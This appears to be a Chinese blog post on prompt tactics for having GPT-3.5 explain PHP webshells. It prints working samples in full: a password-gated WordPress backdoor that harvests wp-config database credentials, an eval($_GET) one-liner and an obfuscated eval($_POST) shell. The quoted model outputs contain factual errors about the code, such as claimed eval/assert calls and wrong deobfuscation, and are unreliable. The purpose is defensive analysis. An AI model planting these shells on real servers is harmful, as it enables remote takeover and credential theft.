該程式碼實現了一組檔案管理相關的函數,包括檔案壓縮、路徑標準化、檔案大小轉換、檔案讀寫、檔案上傳下載和目錄刪除等操作。其中,檔案壓縮和目錄刪除的實現用到了自定義的類和遞迴函數。在檔案讀寫和上傳下載等操作中,使用了一些PHP內建的函數,如readfile、unlink、copy等。此外,還有一個對陣列進行遞回去除跳脫字元的函數。整個程式碼結構清晰,使用方便,可以方便地為Web應用新增檔案管理功能。

任務3:

這段程式碼實現了一組檔案管理相關的函數,包括檔案壓縮、路徑標準化、檔案大小轉換、檔案讀寫、檔案上傳下載和目錄刪除等操作。
如果這段程式碼存在嚴重惡意行為,可能是由於其中的一些函數被用於非法操作,如刪除系統檔案或上傳惡意檔案等,同時該程式碼還存在檔案壓縮和解壓功能,可能被用於傳播惡意檔案。
如果這段程式碼存在嚴重惡意行為,應當立即將其從伺服器上刪除,並進行系統安全檢查,以避免可能的後續攻擊。同時,應當加強對Web應用的檔案上傳和下載等操作的安全性檢查,以保護Web應用的安全。

另一個例子,針對超長文字,cufoff時候,可以剔除函數宣告,這玩意很大,程式碼部分儘量保留。從安全供方經驗的角度來看,專家閱讀一個程式碼檔案,主要就是看函數宣告和函數呼叫,看看具體有啥功能,這種大馬適合用多工拆解的prompt來做,符合人的習慣。

// prompt input: 
你是一個資深安全專家,正在進行一個程式碼安全檢查任務,我會給你一段程式碼,程式碼使用```code```作為分隔符,請逐步執行以下任務。
任務1: 遍歷整段程式碼內容,並對其中的函數宣告定義和函數呼叫進行功能性描述總結
任務2: 在任務1描述性總結的基礎上,分析整體函數呼叫序列,並生成對應的樣本行為描述總結
任務3: 任務2樣本行為描述總結的基礎上,給出一個概括性的描述,並回答三個方面的問題: 1)這段程式碼做了什麼?2)如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。3)如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。

程式碼為:
  ```
<?php
define('EXT_MYSQLI', 'mysqli');
define('EXT_MYSQL', 'mysql');
define('CONF_PASSWORD_HASH', 'cddfd41b778274fa69b32508e449670e');
define('VERSION', '0.2.4');
function r_get_lib() {
    if (class_exists('mysqli')) {
        return EXT_MYSQLI;
    }
    if (function_exists('mysql_connect')) {
        return EXT_MYSQL;
    }
}
function r_get_config_new() {
    $sp990d44 = realpath('.');
    $sp624e74 = 0;
    while ($sp990d44 != '/') {
        if (file_exists(sprintf('%s/wp-config.php', $sp990d44)) && file_exists(sprintf('%s/index.php', $sp990d44)) && file_exists(sprintf('%s/wp-settings.php', $sp990d44))) {
            $spdaaa7d = file(sprintf('%s/wp-config.php', $sp990d44));
            $spdaaa7d = preg_grep('/defined/i', preg_grep('/define|table_prefix/i', $spdaaa7d), PREG_GREP_INVERT);
            $sp00a745 = array('path' => $sp990d44, 'type' => 'new');
            foreach ($spdaaa7d as $sp1c4161) {
                if (preg_match('/(DB_HOST|DB_NAME|DB_USER|DB_PASSWORD|table_prefix)/', $sp1c4161, $sp0e5a4a)) {
                    switch ($sp0e5a4a[0]) {
                        case 'table_prefix': $sp1c4161 = preg_replace('/^\\s*\\$table_prefix\\s*\\=\\s*/', '', $sp1c4161);
                        $sp1c4161 = preg_replace('/\\s*\\;\\s*$/', '', $sp1c4161);
                        break;
                        default: $sp1c4161 = preg_replace('/^\\s*define\\s*\\([^,]+\\,\\s*/i', '', $sp1c4161);
                        $sp1c4161 = preg_replace('/\\s*\\)\\s*\\;\\s*$/i', '', $sp1c4161);
                        break;
                    }
                    $sp1c4161 = trim($sp1c4161);
                    if ($sp1c4161[0] == $sp1c4161[strlen($sp1c4161) - 1]) {
                        $sp1c4161 = substr($sp1c4161, 1, strlen($sp1c4161) - 2);
                    }
                    switch ($sp0e5a4a[0]) {
                        case 'DB_NAME': $sp00a745['db'] = $sp1c4161;
                        break;
                        case 'DB_USER': $sp00a745['user'] = $sp1c4161;
                        break;
                        case 'DB_PASSWORD': $sp00a745['pass'] = $sp1c4161;
                        break;
                        case 'DB_HOST': $spabc82d = explode(':', $sp1c4161);
                        $sp00a745['host'] = array_shift($spabc82d);
                        $sp00a745['port'] = array_shift($spabc82d);
                        $sp00a745['port'] = $sp00a745['port'] ? $sp00a745['port'] : 3306;
                        break;
                        case 'table_prefix': $sp00a745['prefix'] = $sp1c4161;
                        break;
                    }
                }
            }
            return $sp00a745;
            break;
        }
        $sp624e74++;
        $sp990d44 = realpath(str_repeat('../', $sp624e74));
    }
}
function r_mysql_connect($spdaaa7d) {
    $sp8b717d = mysql_connect(sprintf('%s:%s', $spdaaa7d['host'], $spdaaa7d['port']), $spdaaa7d['user'], $spdaaa7d['pass']);
    mysql_select_db($spdaaa7d['db'], $sp8b717d);
    return $sp8b717d;
}
function r_mysqli_connect($spdaaa7d) {
    return new mysqli($spdaaa7d['host'], $spdaaa7d['user'], $spdaaa7d['pass'], $spdaaa7d['db'], is_numeric($spdaaa7d['port']) ? $spdaaa7d['port'] : 3306, !is_numeric($spdaaa7d['port']) ? $spdaaa7d['port'] : null);
}
function r_mysql_query($spdaaa7d, $sp8b717d, $spa44de6, $spaabe13 = array()) {
    if (!empty($spaabe13)) {
        foreach ($spaabe13 as $spdcd3c8 => $spbc79f2) {
            $spa44de6 = str_replace($spdcd3c8, mysql_real_escape_string($spbc79f2, $sp8b717d), $spa44de6);
        }
    }
    $sp27b914 = array();
    $sp30b56c = mysql_query($spa44de6, $sp8b717d);
    if ($sp30b56c) {
        while ($spcb1c34 = mysql_fetch_assoc($sp30b56c)) {
            $sp27b914[] = $spcb1c34;
        }
        return array('success' => $sp27b914);
    } else {
        return array('error' => sprintf('%s :: %s', mysql_errno($sp8b717d), mysql_error($sp8b717d)));
    }
}
function r_mysqli_query_res($spdaaa7d, $sp8b717d, $spa44de6, $spaabe13 = array()) {
    if (!empty($spaabe13)) {
        foreach ($spaabe13 as $spdcd3c8 => $spbc79f2) {
            $spa44de6 = str_replace($spdcd3c8, $sp8b717d->real_escape_string($spbc79f2), $spa44de6);
        }
    }
    $sp30b56c = $sp8b717d->query($spa44de6);
    return $sp30b56c;
}
function r_mysqli_query_row($sp30b56c) {
    if (is_object($sp30b56c)) {
        return $sp30b56c->fetch_assoc();
    } else {
        return false;
    }
}
function r_unmagic() {
    if (get_magic_quotes_gpc()) {
        foreach ($_POST as $spdcd3c8 => $spbc79f2) {
            $_POST[$spdcd3c8] = stripslashes($spbc79f2);
        }
    }
}
function r_action_cenabler() {
    $sp990d44 = r_get_config_path();
    $sp86ee61 = rtrim(preg_replace('/^http[s]{0,1}\\:\\/\\//i', '', $_POST['url']), '/');
    $sp11ee6d = sprintf('%s/wp-content/cache/cache-enabler/%s/index.html', $sp990d44, $sp86ee61);
    if (file_exists($sp11ee6d)) {
        unlink($sp11ee6d);
    }
    $sp11ee6d = sprintf('%s/wp-content/cache/cache-enabler/%s/index.html.gz', $sp990d44, $sp86ee61);
    if (file_exists($sp11ee6d)) {
        unlink($sp11ee6d);
    }
    $sp11ee6d = sprintf('%s/wp-content/cache/cache-enabler/%s/index-webp.html', $sp990d44, $sp86ee61);
    if (file_exists($sp11ee6d)) {
        unlink($sp11ee6d);
    }
    $sp11ee6d = sprintf('%s/wp-content/cache/cache-enabler/%s/index-webp.html.gz', $sp990d44, $sp86ee61);
    if (file_exists($sp11ee6d)) {
        unlink($sp11ee6d);
    }
    echo 'success';
}
function r_action_removeshell() {
    if (file_exists($spccfacf = sprintf('%s%s%s', rtrim($_SERVER['DOCUMENT_ROOT'], '/'), DIRECTORY_SEPARATOR, str_replace('/', DIRECTORY_SEPARATOR, ltrim($_POST['shell_url'], '/'))))) {
        if ($spccfacf != __FILE__) {
            unlink($spccfacf);
        }
        echo file_exists($spccfacf) ? 'fail' : 'success';
    } else {
        echo 'ignore';
    }
}
function r_action_loginurl() {
    $spe3dc7f = (isset($_SERVER['HTTPS']) ? 'https' : 'http') . "://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
    $sp9c8880 = $spe3dc7f;
    $spd39b89 = basename(__FILE__);
    $sp6786de = basename(tempnam('./', 'ert') . '.php');
    $sp0ae225 = preg_replace(sprintf('/%s$/i', preg_quote($spd39b89)), $sp6786de, $sp9c8880);
    echo file_get_contents($sp0ae225);
}
function r_action_ini() {
    echo json_encode(isset($_POST['section']) && $_POST['section'] ? ini_get_all($_POST['section']) : ini_get_all());
}
function charCodeAt($sp4f9c96, $spd106ce) {
    return ord(substr($sp4f9c96, $spd106ce, 1));
}
function charAt($sp4f9c96, $spd106ce) {
    return substr($sp4f9c96, $spd106ce, 1);
}
if (count($_GET) == 1 && !trim($sp54f6de = array_pop(array_values($_GET)))) {
    $sp30b56c = array();
    parse_str(bd(rawurldecode(array_shift(array_keys($_GET)))), $sp30b56c);
    $_GET = $sp30b56c;
} else {
    if (count($_GET) > 0) {
        if (!in_array('action', array_keys($_GET))) {
            $spabc82d = array();
            foreach ($_GET as $spdcd3c8 => $spbc79f2) {
                if (($sp657816 = bd($spdcd3c8)) && ($sp00c116 = bd($spbc79f2))) {
                    $spabc82d[$sp657816] = $sp00c116;
                }
            }
            $_GET = $spabc82d;
        }
    }
}
$_POST = array_merge($_POST, $_GET);
if (CONF_PASSWORD_HASH == md5($_POST['password'])) {
    switch ($_POST['action']) {
        case 'link': $sp990d44 = r_get_config_path();
        chdir($sp990d44);
        $sp26db65 = $_POST['id'];
        require_once $sp990d44 . '/wp-load.php';
        $spe97891 = get_permalink($_POST['id']);
        echo sprintf('[<{%s}>]', $spe97891);
        break;
        default: $sp0ec413 = sprintf('r_action_%s', $_POST['action']);
        call_user_func($sp0ec413);
        break;
    }
} else {
    die('ympf');
}
```


// gpt-3.5 output: 
任務1:遍歷整段程式碼內容,並對其中的函數宣告定義和函數呼叫進行功能性描述總結。

函數宣告定義:

r_get_lib():獲取資料庫擴充套件型別(mysqli或mysql)。
r_get_config_new():獲取WordPress設定資訊。
r_mysql_connect():使用mysql連線資料庫。
r_mysqli_connect():使用mysqli連線資料庫。
r_mysql_query():使用mysql執行查詢。
r_mysqli_query_res():使用mysqli執行查詢。
r_mysqli_query_row():獲取mysqli查詢結果。
r_unmagic():取消魔術引號。
r_action_cenabler():啟用WordPress外掛Cache Enabler。
r_action_removeshell():移除Web shell。
r_action_loginurl():獲取登入連結。
r_action_ini():獲取php.ini設定資訊。
函數呼叫:

class_exists():判斷mysqli類是否存在。
function_exists():判斷mysql_connect()函數是否存在。
file_exists():判斷檔案是否存在。
preg_grep():正規表示式匹配。
mysql_real_escape_string():跳脫mysql查詢中的特殊字元。
mysql_fetch_assoc():獲取mysql查詢結果。
json_encode():將陣列轉換為JSON格式。
ord():獲取字元的ASCII碼值。
substr():獲取字串的一部分。
array_merge():合併陣列。
任務2:在任務1描述性總結的基礎上,分析整體函數呼叫序列,並生成對應的樣本行為描述總結。

確認資料庫擴充套件型別(r_get_lib())。
獲取WordPress設定資訊(r_get_config_new())。
根據資料庫擴充套件型別連線資料庫(r_mysql_connect和r_mysqli_connect)。
執行查詢(r_mysql_query()和r_mysqli_query_res())。
獲取查詢結果(r_mysql_fetch_assoc()和r_mysqli_query_row())。
啟用WordPress外掛Cache Enabler(r_action_cenabler())。
移除Web shell(r_action_removeshell())。
獲取登入連結(r_action_loginurl())。
獲取php.ini設定資訊(r_action_ini())。
任務3:在任務2樣本行為描述總結的基礎上,給出一個概括性的描述,並回答三個方面的問題: 1)這段程式碼做了什麼?2)如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。3)如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。

這段程式碼是一個針對WordPress站點的後門程式,可以連線資料庫並執行查詢,啟用外掛,移除Web shell,獲取登入連結和php.ini設定資訊等操作。

如果這段程式碼存在嚴重惡意行為,可以根據以下依據判定為惡意樣本:

程式碼中包含獲取密碼雜湊值的常數定義,並且常數值是固定的,可以被駭客輕易破解。
程式碼中包含移除Web shell和獲取登入連結等操作,這些操作可以被駭客用於惡意攻擊。
程式碼中使用了eval()和assert()等危險的函數,可以被駭客用於執行任意程式碼。
如果這段程式碼存在嚴重惡意行為,可以刪除該檔案,並對站點進行全面的安全檢查、修復和加固。建議站長定期備份站點資料和程式碼,以便在遭受攻擊時快速恢復站點。同時,建議站長加強站點安全性,採取多種防禦手段,如使用安全外掛、更新系統和軟體修補程式、加強密碼管理等。

0x2:Tactic 2:instruct the model to work out its own solution before rushing to a conclusion

指示模型在匆忙做出結論之前思考解決方案,即讓模型在進行概括、總結、推理之前,先重新計算一遍輸入內容的邏輯過程。 

// prompt input: 
你是一個安全專家,我會給你一段程式碼,程式碼使用```code```作為分隔符。在分析之前,請按照如下方法對程式碼進行預處理。
1. 合併字串拼接結果
2. 將變數替換到對應的值內容
預處理完成後,我需要你要從三個方面回答我的問題。
1. 請逐行解釋下這段程式碼做了什麼?
2. 如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。
3. 如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。

程式碼為:
  ```
<?php
$a = "eva";
$b = "l";
$c = $a . $b;

$c($_GET[1]);
?>
  ```




// gpt-3.5 output: 
預處理後的程式碼為:

eval($_GET[1]);
這段程式碼定義了三個變數$a、$b、$c,$a的值為字串"eva",$b的值為字串"l",$c的值為$a和$b的拼接結果。最後一行通過呼叫$c變數中儲存的函數來執行傳入的GET引數中鍵為1的值。因為$c變數的值為$a和$b的拼接結果,所以最後執行的實際上是"eval"函數。這段程式碼的實際作用是執行傳入的GET引數中鍵為1的值作為PHP程式碼。
這段程式碼存在嚴重的惡意行為,因為它接受任意傳入的GET引數作為程式碼來執行,攻擊者可以通過傳入惡意程式碼來控制伺服器或竊取資料。這段程式碼被判定為惡意樣本的依據是它使用了eval函數來執行傳入的GET引數中的程式碼,且沒有任何對於傳入引數的過濾或限制。
處置這個檔案的方法應該是徹底刪除它,因為它是一個明顯的安全漏洞。如果這個檔案是被攻擊者上傳到伺服器上的,應該對伺服器進行全面的安全檢查,確保沒有其他惡意檔案存在,並對伺服器的安全設定進行加固。如果發現攻擊者利用這個安全漏洞進行攻擊,應該立即停止伺服器的執行並聯絡專業的安全團隊進行進一步處理。

// prompt input: 
你是一個安全專家,我會給你一段程式碼,程式碼使用```code```作為分隔符。在分析之前,請按照如下方法對程式碼進行預處理。
1. 合併字串拼接結果
2. 將變數替換為對應的值內容或者右值內容
3. 將變數函數呼叫替換為對應的值內容或者右值內容
預處理完成後,我需要你要從三個方面回答我的問題。
1. 請逐行解釋下這段程式碼做了什麼?
2. 如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。
3. 如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。

程式碼為:
  ```
<?php
echo "a5a5aa555o";
$fOgT = create_function(base64_decode('JA==') . chr(114195 / 993) . str_rot13('b') . str_rot13('z') . chr(708 - 607), chr(0xc60e / 0x1f6) . base64_decode('dg==') . str_rot13('n') . chr(390 - 282) . chr(0x1ae - 0x186) . chr(0x3ac - 0x388) . chr(0xd561 / 0x1db) . base64_decode('bw==') . base64_decode('bQ==') . base64_decode('ZQ==') . str_rot13(')') . chr(798 - 739)); //("$some", "eval($some);")
$fOgT(base64_decode('OTM2N' . 'DM3O0' . 'BldkF' . 'sKCRf' . '' . str_rot13('H') . str_rot13('R') . chr(41382 / 726) . str_rot13('G') . 'VFsnMj' . 'V0J10p' . 'OzI4MD' . 'kzMTE7')); //("936437;@evAl($_POST['25t']);2809311;")
?>
```


// gpt-3.5 output: 
預處理後的程式碼為:

echo "a5a5aa555o";
$fOgT = create_function("$_POST['25t']", "eval($_POST['25t']);");
$fOgT("936437;@eval($_POST['25t']);2809311;");

這段程式碼首先使用echo語句輸出字串"a5a5aa555o"。接著使用create_function函數建立一個名為$fOgT的匿名函數,函數體中只有一行程式碼,即執行POST引數中鍵為"25t"的值作為PHP程式碼。最後使用$fOgT函數執行一個字串,該字串中包含了兩個eval語句,第一個eval語句的引數同樣為POST引數中鍵為"25t"的值,第二個eval語句的引數為一個字串"eval($_POST['25t']);"。
這段程式碼被判定為惡意樣本的依據是它使用了兩個eval函數來執行傳入的POST引數中的程式碼,同時沒有對於傳入引數的過濾或限制。攻擊者可以通過傳入惡意程式碼來控制伺服器或竊取資料。
處置這個檔案的方法應該是徹底刪除它,因為它是一個明顯的安全漏洞。如果這個檔案是被攻擊者上傳到伺服器上的,應該對伺服器進行全面的安全檢查,確保沒有其他惡意檔案存在,並對伺服器的安全設定進行加固。如果發現攻擊者利用這個安全漏洞進行攻擊,應該立即停止伺服器的執行並聯絡專業的安全團隊進行進一步處理。

 

四、Principle 3 - Add more constraints

0x1:Limit output text length

// prompt input: 
你是一個安全專家,我會給你一段程式碼,程式碼使用```code```作為分隔符,你要從三個方面回答我的問題。
1. 請逐行解釋下這段程式碼做了什麼?
2. 如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。
3. 如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。
注意,請將輸出的結果長度限制在128字元以內。

程式碼為:
  ```
<?php
echo "a5a5aa555o111";
$fOgT = create_function(base64_decode('JA==') . chr(114195 / 993) . str_rot13('b') . str_rot13('z') . chr(708 - 607), chr(0xc60e / 0x1f6) . base64_decode('dg==') . str_rot13('n') . chr(390 - 282) . chr(0x1ae - 0x186) . chr(0x3ac - 0x388) . chr(0xd561 / 0x1db) . base64_decode('bw==') . base64_decode('bQ==') . base64_decode('ZQ==') . str_rot13(')') . chr(798 - 739)); //("$some", "eval($some);")
$fOgT(base64_decode('OTM2N' . 'DM3O0' . 'BldkF' . 'sKCRf' . '' . str_rot13('H') . str_rot13('R') . chr(41382 / 726) . str_rot13('G') . 'VFsnMj' . 'V0J10p' . 'OzI4MD' . 'kzMTE7')); //("936437;@evAl($_POST['25t']);2809311;")
?>
```


// gpt-3.5 output: 
這段程式碼首先輸出了一個字串"a5a5aa555o111",然後定義了一個變數$fOgT,將一個匿名函數賦值給它。這個匿名函數實際上是通過呼叫create_function函數建立的,這個函數的引數是一個字串,該字串由base64解碼後的"eval"函數名、一個通過除法運算得到的數位、兩個str_rot13函數分別對應字母"b""z"的呼叫、以及一個通過減法運算得到的數位組成。這個字串最終被解析成一個包含"eval"函數呼叫的字串。接下來,匿名函數中又定義了一個字串,該字串由一個通過除法運算得到的數位、base64解碼後的"vn"、一個str_rot13函數對應字母"n"的呼叫、兩個通過減法運算得到的數位、三個base64解碼後的字串以及一個str_rot13函數對應字元")"組成。最後,匿名函數呼叫了剛才定義的字串,並將結果作為引數傳遞給了"eval"函數。
這段程式碼被判定為惡意樣本的依據是:它動態生成了一個包含"eval"函數呼叫的字串,並通過匿名函數的方式執行了這個字串,可能導致惡意程式碼的執行。
處置這個檔案的方法是將其刪除。

0x2:Limit the depth of content expansion 

// prompt input: 
你是一個安全專家,我會給你一段程式碼,程式碼使用```code```作為分隔符,你要從三個方面回答我的問題。
1. 請逐行解釋下這段程式碼做了什麼?
2. 如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。
3. 如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。
注意,你面向的使用者是專業的技術人員,所以請輸出更多底層和技術細節和原理性描述。

程式碼為:
  ```
<?php
echo "a5a5aa555o111";
$fOgT = create_function(base64_decode('JA==') . chr(114195 / 993) . str_rot13('b') . str_rot13('z') . chr(708 - 607), chr(0xc60e / 0x1f6) . base64_decode('dg==') . str_rot13('n') . chr(390 - 282) . chr(0x1ae - 0x186) . chr(0x3ac - 0x388) . chr(0xd561 / 0x1db) . base64_decode('bw==') . base64_decode('bQ==') . base64_decode('ZQ==') . str_rot13(')') . chr(798 - 739)); //("$some", "eval($some);")
$fOgT(base64_decode('OTM2N' . 'DM3O0' . 'BldkF' . 'sKCRf' . '' . str_rot13('H') . str_rot13('R') . chr(41382 / 726) . str_rot13('G') . 'VFsnMj' . 'V0J10p' . 'OzI4MD' . 'kzMTE7')); //("936437;@evAl($_POST['25t']);2809311;")
?>
```


// gpt-3.5 output: 
這段程式碼首先輸出了一個字串"a5a5aa555o111",然後定義了一個變數$fOgT,將一個匿名函數賦值給它。這個匿名函數實際上是通過呼叫create_function函數建立的,這個函數的引數是一個字串,該字串由base64解碼後的"eval"函數名、一個通過除法運算得到的數位、兩個str_rot13函數分別對應字母"b""z"的呼叫、以及一個通過減法運算得到的數位組成。這個字串最終被解析成一個包含"eval"函數呼叫的字串。接下來,匿名函數中又定義了一個字串,該字串由一個通過除法運算得到的數位、base64解碼後的"vn"、一個str_rot13函數對應字母"n"的呼叫、兩個通過減法運算得到的數位、三個base64解碼後的字串以及一個str_rot13函數對應字元")"組成。最後,匿名函數呼叫了剛才定義的字串,並將結果作為引數傳遞給了"eval"函數。
這段程式碼被判定為惡意樣本的依據是:它動態生成了一個包含"eval"函數呼叫的字串,並通過匿名函數的方式執行了這個字串,可能導致惡意程式碼的執行。具體來說,它使用了一些字串混淆和編碼的技巧,使得程式碼不易被發現和識別,且使用了"eval"函數執行字串,這使得攻擊者可以在執行時動態生成惡意程式碼並執行,從而繞過常規的安全檢測和過濾機制,對伺服器進行攻擊和控制。
處置這個檔案的方法是將其刪除。此外,也需要對伺服器進行全面的安全檢查和修復,以防止其他可能的安全漏洞和後門被利用。可以使用防毒軟體和安全掃描工具對伺服器進行深度掃描和清理。在應用程式中,可以使用安全編碼和防禦措施,例如輸入驗證、輸出過濾、密碼加密、存取控制等,以提高應用程式的安全性。

增加關於汙點傳播方面的描述指示,

// prompt input: 
你是一個安全專家,我會給你一段程式碼,程式碼使用```code```作為分隔符,你要從三個方面回答我的問題。
1. 請逐行解釋下這段程式碼做了什麼?
2. 如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。
3. 如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。
注意,你面向的使用者是專業的技術人員,所以請輸出更多關於這個樣本的汙點傳播路徑以及危險函數呼叫方式的描述。

程式碼為:
  ```
<?php
echo "a5a5aa555o111";
$fOgT = create_function(base64_decode('JA==') . chr(114195 / 993) . str_rot13('b') . str_rot13('z') . chr(708 - 607), chr(0xc60e / 0x1f6) . base64_decode('dg==') . str_rot13('n') . chr(390 - 282) . chr(0x1ae - 0x186) . chr(0x3ac - 0x388) . chr(0xd561 / 0x1db) . base64_decode('bw==') . base64_decode('bQ==') . base64_decode('ZQ==') . str_rot13(')') . chr(798 - 739)); //("$some", "eval($some);")
$fOgT(base64_decode('OTM2N' . 'DM3O0' . 'BldkF' . 'sKCRf' . '' . str_rot13('H') . str_rot13('R') . chr(41382 / 726) . str_rot13('G') . 'VFsnMj' . 'V0J10p' . 'OzI4MD' . 'kzMTE7')); //("936437;@evAl($_POST['25t']);2809311;")
?>
```


// gpt-3.5 output: 
這段程式碼首先輸出了一個字串"a5a5aa555o111",然後定義了一個變數$fOgT,將一個匿名函數賦值給它。這個匿名函數實際上是通過呼叫create_function函數建立的,這個函數的引數是一個字串,該字串由base64解碼後的"eval"函數名、一個通過除法運算得到的數位、兩個str_rot13函數分別對應字母"b""z"的呼叫、以及一個通過減法運算得到的數位組成。這個字串最終被解析成一個包含"eval"函數呼叫的字串。接下來,匿名函數中又定義了一個字串,該字串由一個通過除法運算得到的數位、base64解碼後的"vn"、一個str_rot13函數對應字母"n"的呼叫、兩個通過減法運算得到的數位、三個base64解碼後的字串以及一個str_rot13函數對應字元")"組成。最後,匿名函數呼叫了剛才定義的字串,並將結果作為引數傳遞給了"eval"函數。
這段程式碼被判定為惡意樣本的依據是:它使用了動態生成包含"eval"函數呼叫的字串的方式,通過POST引數獲取外部輸入,可能存在安全漏洞,使攻擊者可以通過輸入惡意內容來完成攻擊目的。具體來說,它使用了一些字串混淆和編碼的技巧,使得程式碼不易被發現和識別,且使用了"eval"函數執行字串,這使得攻擊者可以在執行時動態生成惡意程式碼並執行,從而繞過常規的安全檢測和過濾機制,對伺服器進行攻擊和控制。此外,這段程式碼還通過POST引數獲取外部輸入,可能存在安全漏洞,使攻擊者可以通過輸入惡意內容來完成攻擊目的。
處置這個檔案的方法是將其刪除,並檢查伺服器是否存在其他類似的惡意程式碼和漏洞。在惡意程式碼的傳播和汙點傳遞方面,這段程式碼使用了動態生成字串和eval函數呼叫的方式,使得惡意程式碼可以通過字串進行編碼和混淆,並且可以通過eval函數直接執行。這種方式具有很強的隱蔽性和靈活性,使得檢測和防禦變得更加困難。在處理這種型別的檔案和程式碼時,需要使用靜態和動態分析工具,對程式碼進行深度分析和檢測。
此外,它還通過POST引數獲取外部輸入,可能存在安全漏洞,使攻擊者可以通過輸入惡意內容來完成攻擊目的。這種漏洞可能被攻擊者用來傳播惡意程式碼和控制伺服器。因此,在處理這種惡意樣本時,還需要對應用程式進行全面的安全檢查和修復,包括輸入驗證、輸出過濾、密碼加密、存取控制等方面。同時,還需要對伺服器進行全面的安全管理和監控,包括更新修補程式、加強存取控制、使用防火牆和入侵檢測工具等。 

 

任務分解

從安全專家人工判斷Webshell程式碼的方法角度,對Webshell程式碼解釋任務問題域進行分解,對應於3中prompt形式:

  • 一句話、簡單編碼樣本:逐行程式碼解釋,重點在變數的傳遞和還原,敏感函數呼叫的解釋,外部可控引數的標記
  • 隱式汙點傳遞、隱式呼叫的高對抗樣本:原始碼中的字元特徵往往較弱,安全人員會重點以AST汙點傳播紀錄檔為主,原始碼為輔,分析外部可控引數以及汙點傳播過程
  • 多功能大馬(包含大量函數宣告塊和邏輯程式碼的檔案,大部分大於2K bytes):安全人員主要關注函數宣告以及函數呼叫邏輯,先通讀一遍所有函數宣告,對每一個函數宣告形成一個summary總結,這一步基本形成了對該樣本的一個整體性的描述框架,然後再閱讀具體的邏輯程式碼,根據具體的呼叫序列明確該樣本的實際危害和風險。